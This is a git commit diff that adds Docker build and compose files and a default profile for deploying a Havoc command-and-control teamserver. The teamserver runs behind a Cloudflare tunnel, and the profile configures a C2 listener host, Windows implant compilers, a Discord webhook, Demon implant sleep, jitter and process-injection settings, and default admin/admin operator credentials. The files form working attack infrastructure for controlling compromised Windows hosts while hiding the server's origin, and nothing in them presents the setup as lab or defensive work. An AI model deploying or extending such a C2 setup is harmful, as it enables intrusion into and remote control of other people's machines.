feat: add crafted docker scripts and default profile

This commit is contained in:
2026-06-25 22:44:28 +01:00
parent a6b798970f
commit 68a45fe391
4 changed files with 141 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
TUNNEL_TOKEN=
+44
View File
@@ -0,0 +1,44 @@
# ---- Phase 1: Compile ----
FROM golang:1.23-bookworm AS builder
RUN apt update && apt -y install \
git \
nasm \
mingw-w64 \
pkg-config \
wget \
&& rm -rf /var/lib/apt/lists/*
# Manually install upx
RUN wget https://github.com/upx/upx/releases/download/v4.2.4/upx-4.2.4-amd64_linux.tar.xz \
&& tar -xf upx-4.2.4-amd64_linux.tar.xz \
&& mv upx-4.2.4-amd64_linux/upx /usr/local/bin/ \
&& rm -rf upx-4.2.4-amd64_linux*
WORKDIR /build
RUN git clone https://github.com/HavocFramework/Havoc.git .
# Patch strict go.mod and compile standalone
RUN cd teamserver/ \
&& chmod +x ./Install.sh \
&& ./Install.sh \
&& sed -i 's/go 1.21.0/go 1.23/' go.mod \
&& go build -v -o /build/havoc-ts main.go
# ---- Phase 2: Execute ----
FROM debian:bookworm-slim
RUN apt update && apt -y install \
nasm \
mingw-w64 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Import only compiled binary and data folder
COPY --from=builder /build/havoc-ts /app/havoc-ts
COPY --from=builder /build/data /app/data
EXPOSE 40056
ENTRYPOINT ["/app/havoc-ts"]
+33
View File
@@ -0,0 +1,33 @@
services:
havoc-teamserver:
container_name: havoc-teamserver
build:
context: .
dockerfile: Dockerfile
volumes:
- ./profiles:/app/profiles
- havoc-data:/app/data
ports:
- "40056:40056"
networks:
- c2-network
restart: unless-stopped
command: ["server", "--profile", "/app/profiles/default.yaotl", "--debug"]
cloudflare-tunnel:
container_name: havoc-cloudflare-tunnel
image: cloudflare/cloudflared:latest
restart: unless-stopped
command: tunnel --no-autoupdate run --token ${TUNNEL_TOKEN}
depends_on:
- havoc-teamserver
networks:
- c2-network
networks:
c2-network:
driver: bridge
volumes:
havoc-data:
driver: local
+63
View File
@@ -0,0 +1,63 @@
Manifest = {
Type = "Valid"
Name = "Cloudflare Listener"
}
Http = {
Host = "0.0.0.0"
PortBind = 80
PortConn = 443
Hosts = [
"c2.example.com" # replace with your actual host
]
}
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
WebHook {
Discord {
# required
Url = "https://discord.com/api/webhooks/<bla>/<bla>" # replace this with your webhook
# optional
AvatarUrl = "https://raw.githubusercontent.com/HavocFramework/Havoc/main/assets/Havoc.png" # url to an image to use as an avatar
# optional
User = "Havoc" # User name of the webhook bot
}
}
# For God's sake, change this...
Operators {
user "admin" {
Password = "admin"
}
}
# this is optional. if you dont use it you can remove it.
Service {
Endpoint = "service-endpoint"
Password = "service-password"
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = true
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}